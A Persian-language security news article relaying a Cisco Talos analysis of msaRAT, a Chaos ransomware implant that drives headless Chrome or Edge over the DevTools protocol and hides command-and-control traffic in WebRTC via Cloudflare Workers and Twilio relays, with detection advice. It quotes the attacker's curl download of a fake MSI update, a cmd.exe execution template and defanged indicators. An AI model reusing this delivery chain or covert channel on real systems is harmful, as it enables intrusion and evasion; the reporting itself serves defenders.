گروه باج‌افزاری Chaos با استفاده از بدافزار msaRAT، روشی جدید برای پنهان‌سازی ارتباطات فرماندهی و کنترل (C2) به کار گرفته است که در آن مرورگر سیستم قربانی به کانالی برای انتقال ترافیک فرماندهی و کنترل مهاجمان تبدیل می‌شود. این ایمپلنت (Implant) مبتنی بر زبان Rust که توسط پژوهشگران Cisco Talos شناسایی شده است، بدون برقراری هیچ‌گونه ارتباط مستقیم با زیرساخت مهاجم، مرورگرهای کروم (Chrome) و اِج (Edge) را در حالت هدلس (Headless Mode) کنترل کرده و ترافیک فرماندهی و کنترل (C2) را از طریق کانال داده WebRTC منتقل می‌کند. بدافزار msaRAT با بهره‌گیری از این تکنیک، آدرس واقعی سرور مهاجم را از دید ابزارهای نظارتی پنهان کرده و ارتباطات مخرب را در میان ترافیک قانونی سرویس‌هایی مانند Cloudflare و Twilio مخفی می‌کند؛ رویکردی که نشان‌دهنده تغییر تاکتیک مهاجمان باج‌افزاری برای دور زدن مکانیزم‌های شناسایی سنتی و دشوارتر شدن شناسایی این‌گونه حملات است.
اجرای مرورگر و آماده‌سازی کانال ارتباطی توسط بدافزار msaRAT
بدافزار msaRAT برای شناسایی مرورگرهای موجود در سیستم، ابتدا متغیرهای محیطی (Environment Variables) را بررسی می‌کند تا مسیر اجرای مرورگرهای کروم یا اِج را شناسایی کند. اگر از این روش نتیجه‌ای دریافت نکند، به سراغ رجیستری ویندوز رفته و وجود مرورگر کروم را بررسی می‌کند. در صورتی که مرورگر سازگار پیدا نشود، مسیر ارتباطی مبتنی بر پروتکل(CDP) Chrome DevTools اجرا نخواهد شد.
این بدافزار پس از شناسایی مرورگر مناسب، آن را بدون نمایش پنجره کاربری و با استفاده از پارامتر –headless=new اجرا می‌کند. سپس قابلیت کنترل مرورگر از طریق CDP را با فعال‌سازی گزینه –remote-debugging-port فراهم کرده و مرورگر را به یک مسیر پروفایل جداگانه با استفاده از –user-data-dir هدایت می‌کند.
دور زدن محدودیت‌های جدید کروم و کنترل مرورگر از طریق CDP
گوگل از نسخه 136 کروم، تغییراتی را در قابلیت دیباگ از راه دور (Remote Debugging) مرورگر اعمال کرده است. بر اساس این تغییرات، کروم دیگر اجازه نمی‌دهد فلگ‌های دیباگ (Debug Flags) روی پروفایل پیش‌فرض مرورگر اعمال شوند. این محدودیت پس از آن ایجاد شد که بدافزارهای رباینده اطلاعات (Infostealer) از این قابلیت برای دسترسی به کوکی‌ها و سرقت داده‌های حساس کاربران سوءاستفاده کردند.
با این حال، بدافزار msaRAT با ایجاد یک دایرکتوری پروفایل اختصاصی برای مرورگر، این محدودیت را دور می‌زند و همچنان می‌تواند کنترل مرورگر را از طریق پروتکل CDP به دست آورد. بررسی‌های Cisco Talos نشان می‌دهد این بدافزار هیچ‌گونه تلاشی برای دسترسی به پروفایل اصلی مرورگر قربانی یا تغییر اطلاعات موجود در آن انجام نمی‌دهد.
بدافزار پس از راه‌اندازی مرورگر، یک درخواست به مسیر /json/list/ ارسال می‌کند تا یک هدف قابل دیباگ را شناسایی کند. سپس با اتصال به آدرس WebSocket ارائه‌شده در پاسخ این درخواست، ارتباط لازم برای کنترل مرورگر را برقرار می‌کند.
پس از برقراری این ارتباط، بدافزار اقدامات زیر را انجام می‌دهد:
- ایجاد یک تب جدید در مرورگر
- غیرفعال‌سازی سیاست امنیتی محتوای مرورگر (CSP) با استفاده از دستور setBypassCSP
- ثبت پنج تابع بازگشتی (Callback Function) از طریق addBinding
- تزریق کد جاوااسکریپت (JavaScript) با استفاده از دستور evaluate
کد جاوااسکریپت مورد استفاده توسط بدافزار به‌صورت متن ساده (Plaintext) در بخش .rdata فایل باینری ذخیره شده است.
چهار تابع بازگشتی زیر که در کد بدافزار مشاهده شدند، دلیل نام‌گذاری این نمونه توسط پژوهشگران Talos بودند:
- msaOpen
- msaClose
- msaError
- msaMessage
پنجمین تابع بازگشتی نیز با نام dataAck برای تأیید دریافت داده‌ها و مدیریت وضعیت انتقال اطلاعات استفاده می‌شود.
ایجاد کانال مخفی C2 و کنترل سیستم قربانی با استفاده از WebRTC
کد جاوااسکریپت تزریق‌شده توسط بدافزار msaRAT، پیکربندی ارتباطی STUN و TURN را از یک سرویس Cloudflare Worker دریافت می‌کند:
is-01-ast[.]ols-img-12[.]workers[.]devاین درخواست‌ها با استفاده از هدرهای جعلی مبدأ (Origin) و ارجاع‌دهنده (Referer) به‌گونه‌ای تنظیم می‌شوند که مشابه ترافیک عادی ارسال‌شده از وب‌سایت‌های مایکروسافت به نظر برسند. این تکنیک باعث می‌شود ارتباطات مخرب در میان درخواست‌های قانونی پنهان شوند.
پس از دریافت این پیکربندی، کد مخرب یک اتصال همتا (Peer Connection) ایجاد کرده و یک پیشنهاد SDP (SDP Offer) را به همان Endpoint ارسال می‌کند.
پاسخ دریافت‌شده فاقد کاندیداهای ICE (ICE Candidates) است و آدرس اتصال روی 0.0.0.0 تنظیم می‌شود. در نتیجه، امکان ایجاد ارتباط مستقیم همتا‌به‌همتا (P2P) وجود ندارد و تمام ترافیک از طریق سرویس انتقال‌دهنده (Relay Service) شرکت Twilio با آدرس زیر منتقل می‌شود:
global.turn.twilio.comپس از فعال شدن کانال داده، سرویس Cloudflare Worker دیگر در مسیر انتقال داده قرار نمی‌گیرد و تنها برای مرحله اولیه راه‌اندازی ارتباط مورد استفاده قرار می‌گیرد.
ترافیک منتقل‌شده از طریق این کانال با استفاده از دو لایه رمزگذاری محافظت می‌شود. در لایه نخست، مرورگر از DTLS (Datagram Transport Layer Security) که بخشی از فناوری WebRTC است، برای رمزگذاری ارتباطات استفاده می‌کند. علاوه بر این، یک لایه رمزگذاری داخلی مبتنی بر الگوریتم ChaCha-Poly1305 نیز در این کانال وجود دارد که کلید رمزنگاری آن از طریق فرآیند تبادل کلید ECDH (Elliptic Curve Diffie-Hellman) تولید می‌شود.
این فرآیند بلافاصله پس از برقراری اتصال، با ارسال یک فریم اولیه ارتباط یا هندشیک (Handshake Frame) با مقدار 0xFE از سوی سرور فرماندهی و کنترل (C2) آغاز می‌شود.
پس از ایجاد کانال ارتباطی، ایمپلنت دستورات دریافت‌شده از مهاجم را برای اجرا به محیط خط فرمان ویندوز منتقل می‌کند:
cmd.exe /e:ON /v:OFF /d /c <cmd>این دستور امکان اجرای فرمان‌های ارسال‌شده توسط مهاجم را از طریق خط فرمان ویندوز فراهم می‌کند.
پژوهشگران Cisco Talos معتقدند ساختار مدیریت ارسال داده (Send Queue) و مکانیزم کنترل جریان (Flow Control) در این بدافزار به‌گونه‌ای طراحی شده‌اند که بتواند داده‌هایی با حجم بالا، مانند اسکرین‌شات یا فایل‌ها را به‌صورت پایدار و بدون اختلال منتقل کند.
پیشینه تکنیک‌های به‌کاررفته در حمله
اگرچه ترکیب این تکنیک‌ها در بدافزار msaRAT رویکردی جدید محسوب می‌شود، اما هر یک از تکنیک‌های به‌کاررفته در زنجیره ارتباطی آن پیش‌تر در حملات سایبری مختلف مشاهده شده‌اند. برای مثال، پژوهشگران Praetorian در سال 2025 نشان دادند که زیرساخت TURN مورد استفاده در سرویس‌های کنفرانس آنلاین می‌تواند برای ایجاد یک کانال کامل و مخفی فرماندهی و کنترل (C2) مورد سوءاستفاده قرار گیرد.
همچنین شرکت Sansec در سال 2026 یک اسکیمر (Skimmer) را شناسایی کرد که از کانال‌های داده WebRTC برای انتقال اطلاعات کارت‌های سرقت‌شده و دور زدن کنترل‌های امنیتی مبتنی بر HTTP استفاده می‌کرد.
روش نفوذ و استقرار بدافزار msaRAT
Cisco Talos اعلام کرده است که این ایمپلنت پس از دستیابی مهاجم به قابلیت اجرای کد روی سیستم قربانی نصب می‌شود؛ یعنی در مرحله‌ای که هنوز باج‌افزار اجرای فرآیند رمزگذاری فایل‌ها را آغاز نکرده است. با این حال، پژوهشگران Talos مشخص نکرده‌اند مهاجمان از چه روشی به این سیستم دسترسی اولیه پیدا کرده‌اند.
بر اساس الگوی عملیاتی مستندشده گروه Chaos، این گروه معمولاً از ارسال انبوه اسپم (Spam Flooding)، ویشینگ (Vishing)، ابزار Quick Assist مایکروسافت و ابزارهای مدیریت و مانیتورینگ از راه دور (RMM) برای دسترسی پایدار (Persistence) و ادامه حمله استفاده می‌کند.
مهاجمان این ایمپلنت را تنها با اجرای یک دستور curl از سرور خود دانلود می‌کنند:
curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msiنکته قابل توجه این است که فایل از پورت 443 دریافت می‌شود، اما انتقال آن از طریق HTTP و بدون استفاده از HTTPS انجام می‌شود. در چنین شرایطی، اگر قوانین فایروال صرفاً بر اساس شماره پورت تعریف شده باشند و محتوای پروتکل را بررسی نکنند، این ارتباط می‌تواند بدون مانع برقرار شود.
فایل MSI نیز با استفاده از اطلاعات درج‌شده در ویژگی‌های خود، به‌صورت یک به‌روزرسانی ویندوز نمایش داده می‌شود. در پایان فرآیند نصب، یک اکشن سفارشی (Custom Action) اجرا می‌شود که یک DLL تعبیه‌شده را مستقیماً در حافظه بارگذاری می‌کند.
این DLL در واقع همان ایمپلنتی است که با زبان برنامه‌نویسی Rust و بر پایه محیط اجرای غیرهمزمان Tokio (Tokio Asynchronous Runtime) توسعه یافته است. این فایل تابعی با نام RUN را صادر (Export) می‌کند تا نصب‌کننده از طریق آن اجرای بدافزار را آغاز کند.
نشانه‌های شناسایی و توصیه‌های دفاعی
بر اساس گزارش Cisco Talos، این بدافزار در دسته بدافزارهای پس از نفوذ (Post-Compromise Malware) قرار می‌گیرد؛ یعنی زمانی روی سیستم اجرا می‌شود که مهاجم پیش‌تر به آن دسترسی پیدا کرده است. همچنین عملکرد این بدافزار به هیچ آسیب‌پذیری در مرورگرهای کروم یا اِج متکی نیست؛ بنابراین برای مقابله با این روش، پچ امنیتی مشخصی برای مرورگرها وجود ندارد.
به گفته پژوهشگران Talos، پایدارترین نشانه برای شناسایی این تهدید، الگوی اجرای پردازه آن است، نه ارتباطات شبکه‌ای. به بیان دیگر، تمام ارتباطات خارجی از دید سامانه‌های نظارتی، به‌گونه‌ای ثبت می‌شوند که منشأ آن‌ها یک پردازه قانونی مرورگر به نظر می‌رسد.
به همین دلیل، تیم‌های امنیتی باید اجرای مرورگرهای کروم یا اِج که توسط نصب‌کننده ، یک سرویس یا هر پردازه والد غیرتعاملی (Non-Interactive Parent Process) و همراه با پارامترهای –headless=new و –remote-debugging-port اجرا شده‌اند را با دقت بررسی کنند.
در ادامه، توصیه می‌شود این پردازه در کنار ترافیک لوپ‌بک (Loopback Traffic) مربوط به پورت دیباگ و ارتباطات خروجی WebRTC مورد بررسی قرار گیرد تا ارتباط میان آن‌ها مشخص شود. همچنین در محیط‌هایی که داده‌های تله‌متری پیام‌های پروتکل CDP را ثبت می‌کنند، فراخوانی‌های Runtime.addBinding و Runtime.evaluate از مهم‌ترین شاخص‌ها برای تحلیل این فعالیت به شمار می‌روند.
البته سازمان‌هایی که از خودکارسازی مرورگر یا سامانه‌های یکپارچه‌سازی مداوم (CI) استفاده می‌کنند، باید این موارد را با در نظر گرفتن فعالیت‌های عادی خود ارزیابی کنند تا از ایجاد هشدارهای کاذب جلوگیری شود.
پژوهشگران Talos تا تاریخ 23 جولای 2026، هیچ هش فایل عمومی برای بدافزار msaRAT منتشر نکرده‌اند. مجموعه شاخص‌های نفوذ (IOC) منتشرشده توسط Cisco Talos در حال حاضر تنها شامل دو آرتیفکت شبکه‌ای است:
- آدرس IP مورد استفاده در مرحله استقرار
- نام میزبان (Hostname) مربوط به Cloudflare Worker
هر دو شاخص در مخزن عمومی IOC شرکت Cisco Talos منتشر شده‌اند.
شناسه‌های شناسایی ارائه‌شده توسط Talos شامل موارد زیر است:
- ClamAV: Win.Downloader.ChaosRaas-10060321-0
- Snort 2: 1:66839 1:66840، 1:66841
- Snort 3: 1:66839 1:301587
با وجود ارزشمند بودن این شاخص‌ها، دامنه پوشش آن‌ها محدود است. دامنه workers.dev در واقع دامنه اشتراکی استقرار Cloudflare Workers است که برای تمام حساب‌های این سرویس در دسترس قرار دارد و پیش‌تر نیز مهاجمان از آن برای استقرار پیلود و ایجاد تانلینگ فرماندهی و کنترل (C2 Tunneling) استفاده کرده‌اند.
از سوی دیگر، Twilio یک سرویس قانونی STUN و TURN را ارائه می‌دهد که بسیاری از برنامه‌های مبتنی بر WebRTC به آن وابسته هستند. در نتیجه، مسدودسازی این سرویس‌ها در سطح سازمان می‌تواند عملکرد برنامه‌های قانونی را نیز مختل کند. پژوهشگران Talos معتقدند همین موضوع احتمالاً دلیل انتخاب Cloudflare Workers برای برقراری کانال سیگنالینگ (Signaling) توسط مهاجمان بوده است.
Talos در پایان تأکید می‌کند که این گزارش، تاکتیک‌ها، تکنیک‌ها و رویه‌های (TTPs) مشاهده‌شده را تشریح کرده و نباید آن را نشانه‌ای از یک کمپین گسترده و تأییدشده تلقی کرد. این گزارش هویت قربانی، تعداد سازمان‌های هدف، زمان آغاز استفاده از این بدافزار یا نحوه دستیابی مهاجمان به اطلاعات دسترسی Cloudflare Worker و سرویس TURN شرکت Twilio را مشخص نمی‌کند.
